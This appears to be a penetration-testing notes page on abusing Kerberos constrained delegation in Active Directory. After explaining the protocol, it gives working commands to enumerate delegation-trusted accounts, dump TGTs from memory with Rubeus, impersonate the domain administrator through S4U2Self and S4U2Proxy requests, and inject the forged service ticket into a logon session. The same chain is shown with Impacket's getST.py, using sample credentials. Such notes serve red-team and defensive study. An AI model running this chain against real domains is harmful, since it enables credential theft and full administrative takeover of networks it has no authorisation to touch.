Constrained Delegation

Constrained delegation was later introduced with Windows Server 2003 as a safer means for services to perform Kerberos delegation. It aims to restrict the services to which the server can act on behalf of a user. It no longer allows the server to cache the TGTs of other users, but allows it to request a TGS for another user with its own TGT - this is why constrained delegation is considered to be more restrictive when compared to [[Unconstrained Delegation]].

An example of constrained delegation is a user logging in to an internal application. When the user logs in, the backend database server must apply the user's database permissions, not the permissions of the service account that the application runs under.

To accomplish this, the service account needs Kerberos-constrained delegation enabled so that the user's Kerberos ticket is used to access the database when the user logs in.

A constrained delegation can be configured in the same place as an unconstrained delegation in the Delegation tab of the service account. The Trust this computer for delegation to specified services only option should be chosen. We will explain the choice between Kerberos Only and Use any authentication protocol later and as with unconstrained delegation, this option is not modifiable by default by a service account.

Constrained delegation can be configured on user accounts as well as computer accounts. Make sure you search for both.

When this option is enabled, the list of services allowed for delegation is stored in the msDS-AllowedToDelegateTo attribute of the service account in charge of the delegation.

While for unconstrained delegation a copy of the user's TGT gets sent to the service account, this is not the case for constrained delegation. If a service account wishes to authenticate to a resource on behalf of the user, it must make a special TGS request to the domain controller. Two fields will be modified compared to a classic TGS request:

  • The additional tickets field will contain a copy of the TGS ticket or Service Ticket the user sent to the service.

  • The cname-in-addl-tkt flag will be set to indicate to the Domain Controller that it should not use the server information but the ticket information in additional tickets, i.e., the user's information the server wants to impersonate.

The Domain Controller will then verify that the service has the right to delegate authentication to the requested resource and that the copy of the TGS ticket or Service Ticket is forwardable (which is the default but can be disabled if the Account is sensitive and cannot be delegated flag is set in the user's UAC flags). If all goes well, it will return a TGS ticket or Service Ticket to the service with the information of the user to be delegated to consume the final resource.

The following ADSearch command searches for those whose msds-allowedtodelegateto attribute is not empty

ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

We can also use PowerView or Impacket

Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth
findDelegation.py DOMAIN.COM/otter:SomethingSecure123!

To perform the delegation, we need the TGT of the principal (computer or user) trusted for delegation. The most direct way is to extract it with Rubeus' dump:

Rubeus.exe triage

Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

...

doIFpD[...]MuSU8=

You can also request one with Rubeus asktgt if you have NTLM or AES hashes.

With the TGT, perform an S4U request to obtain a usable TGS for CIFS. Remember that we can impersonate any user in the domain, but we want someone who we know to be a local admin on the target. In this case, a domain admin makes the most sense.

This will perform an S4U2Self first and then an S4U2Proxy.

Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/dc.domain.com /user:something$ /ticket:doIFLD ... MuSU8= /nowrap

where

  • /impersonateuser is the user we want to impersonate.

  • /msdsspn is the service principal name that SQL-2 is allowed to delegate to.

  • /user is the principal allowed to perform the delegation.

  • /ticket is the TGT for /user.

Grab the final S4U2Proxy ticket and pass it into a new logon session.

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:administrator /password:SomethingSecure123! /ticket:doIGaD ... ljLmlv

Or from Linux we can just use the getST script to get a service ticket for a specific SPN

getST.py -spn SOMESRV/DC01 'DOMAIN.COM/otter:SomethingSecure123!' -impersonate Administrator

this will automate the S4U2Self and S4U2Proxy extensions.

Make sure to always use the FQDN when trying to read the C$ share, otherwise, you will see errors like

1326 - ERROR_LOGON_FAILURE

If we compromise an account with constrained delegation, we can delegate the authentication to any service offered by the account in the authorized list and if this constrained delegation allows for protocol transition, we can pretend to be anyone to authenticate against these services.

Last updated